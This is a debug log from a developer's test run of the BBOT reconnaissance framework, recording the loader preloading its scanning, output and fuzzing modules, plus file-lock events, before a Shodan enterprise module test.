[DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 22:04:22,220 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 22:04:22,223 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 22:04:22,224 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 22:04:22,225 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 22:04:22,226 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 22:04:22,227 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 22:04:22,228 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 22:04:22,229 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 22:04:22,230 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 22:04:22,232 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 22:04:22,233 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 22:04:22,234 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 22:04:22,235 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 22:04:22,236 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 22:04:22,238 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 22:04:22,239 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 22:04:22,240 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 22:04:22,241 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 22:04:22,242 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 22:04:22,243 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 22:04:22,244 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 22:04:22,245 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 22:04:22,247 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 22:04:22,248 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 22:04:22,249 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 22:04:22,250 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 22:04:22,251 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 22:04:22,253 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 22:04:22,255 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 22:04:22,256 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 22:04:22,257 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 22:04:22,258 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 22:04:22,259 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 22:04:22,260 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 22:04:22,261 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 22:04:22,262 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 22:04:22,264 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 22:04:22,265 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 22:04:22,266 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 22:04:22,267 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 22:04:22,268 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 22:04:22,269 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 22:04:22,270 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 22:04:22,271 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 22:04:22,273 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 22:04:22,273 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 22:04:22,274 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 22:04:22,275 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 22:04:22,276 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 22:04:22,277 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 22:04:22,278 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 22:04:22,280 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 22:04:22,280 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 22:04:22,282 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 22:04:22,283 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 22:04:22,284 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 22:04:22,286 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 22:04:22,287 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 22:04:22,288 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 22:04:22,289 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 22:04:22,290 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 22:04:22,291 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 22:04:22,292 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 22:04:22,294 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 22:04:22,295 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 22:04:22,297 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 22:04:22,298 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 22:04:22,301 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 22:04:22,302 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 22:04:22,307 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 22:04:22,308 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 22:04:22,311 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 22:04:22,312 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 22:04:22,315 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 22:04:22,316 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 22:04:22,319 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 22:04:22,320 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 22:04:22,322 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 22:04:22,322 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 22:04:22,531 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4586715744 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:04:22,531 [DEBUG] filelock _api.py:334 Lock 4586715744 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:04:22,534 [DEBUG] filelock _api.py:364 Attempting to release lock 4586715744 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:04:22,535 [DEBUG] filelock _api.py:367 Lock 4586715744 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:04:24,021 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:04:24,021 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:04:24,022 [INFO] bbot base.py:99 Starting shodanenterprise module test +2026-02-27 22:06:10,204 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 22:06:10,218 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 22:06:10,220 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 22:06:10,221 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 22:06:10,222 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 22:06:10,223 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 22:06:10,224 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 22:06:10,225 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 22:06:10,226 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 22:06:10,227 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 22:06:10,228 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 22:06:10,229 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 22:06:10,231 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 22:06:10,232 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 22:06:10,233 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 22:06:10,235 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 22:06:10,236 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 22:06:10,242 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 22:06:10,244 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 22:06:10,245 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 22:06:10,246 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 22:06:10,247 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 22:06:10,248 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 22:06:10,249 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 22:06:10,252 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 22:06:10,253 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 22:06:10,254 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 22:06:10,255 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 22:06:10,256 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 22:06:10,257 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 22:06:10,259 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 22:06:10,260 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 22:06:10,261 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 22:06:10,262 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 22:06:10,263 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 22:06:10,264 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 22:06:10,265 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 22:06:10,268 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 22:06:10,270 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 22:06:10,272 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 22:06:10,273 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 22:06:10,273 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 22:06:10,274 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 22:06:10,283 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 22:06:10,284 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 22:06:10,286 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 22:06:10,287 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 22:06:10,290 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 22:06:10,291 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 22:06:10,292 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 22:06:10,293 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 22:06:10,295 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 22:06:10,296 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 22:06:10,299 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 22:06:10,301 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 22:06:10,302 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 22:06:10,303 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 22:06:10,304 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 22:06:10,305 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 22:06:10,306 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 22:06:10,307 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 22:06:10,308 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 22:06:10,309 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 22:06:10,310 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 22:06:10,311 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 22:06:10,312 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 22:06:10,313 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 22:06:10,315 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 22:06:10,316 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 22:06:10,317 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 22:06:10,319 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 22:06:10,320 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 22:06:10,321 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 22:06:10,322 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 22:06:10,323 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 22:06:10,324 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 22:06:10,325 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 22:06:10,326 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 22:06:10,328 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 22:06:10,329 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 22:06:10,330 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 22:06:10,332 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 22:06:10,334 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 22:06:10,335 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 22:06:10,336 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 22:06:10,337 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 22:06:10,338 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 22:06:10,339 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 22:06:10,340 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 22:06:10,341 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 22:06:10,342 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 22:06:10,343 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 22:06:10,344 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 22:06:10,345 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 22:06:10,346 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 22:06:10,347 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 22:06:10,349 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 22:06:10,350 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 22:06:10,351 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 22:06:10,352 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 22:06:10,353 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 22:06:10,354 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 22:06:10,355 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 22:06:10,356 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 22:06:10,357 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 22:06:10,358 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 22:06:10,360 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 22:06:10,361 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 22:06:10,363 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 22:06:10,364 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 22:06:10,365 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 22:06:10,367 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 22:06:10,368 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 22:06:10,370 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 22:06:10,371 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 22:06:10,371 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 22:06:10,372 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 22:06:10,373 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 22:06:10,374 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 22:06:10,375 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 22:06:10,377 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 22:06:10,377 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 22:06:10,378 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 22:06:10,380 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 22:06:10,382 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 22:06:10,383 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 22:06:10,384 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 22:06:10,386 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 22:06:10,387 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 22:06:10,389 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 22:06:10,390 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 22:06:10,396 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 22:06:10,398 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 22:06:10,400 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 22:06:10,402 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 22:06:10,404 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 22:06:10,405 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 22:06:10,407 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 22:06:10,408 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 22:06:10,409 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 22:06:10,410 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 22:06:10,411 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 22:06:10,412 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 22:06:10,414 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 22:06:10,415 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 22:06:10,417 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 22:06:10,418 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 22:06:10,420 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 22:06:10,421 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 22:06:10,422 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 22:06:10,423 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 22:06:10,425 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 22:06:10,426 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 22:06:10,427 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 22:06:10,428 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 22:06:10,430 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 22:06:10,432 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 22:06:10,434 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 22:06:10,435 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 22:06:10,437 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 22:06:10,438 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 22:06:10,440 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 22:06:10,441 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 22:06:10,442 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 22:06:10,443 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 22:06:10,444 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 22:06:10,445 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 22:06:10,447 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 22:06:10,448 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 22:06:10,449 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 22:06:10,637 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4603984672 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:06:10,637 [DEBUG] filelock _api.py:334 Lock 4603984672 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:06:10,640 [DEBUG] filelock _api.py:364 Attempting to release lock 4603984672 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:06:10,640 [DEBUG] filelock _api.py:367 Lock 4603984672 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock 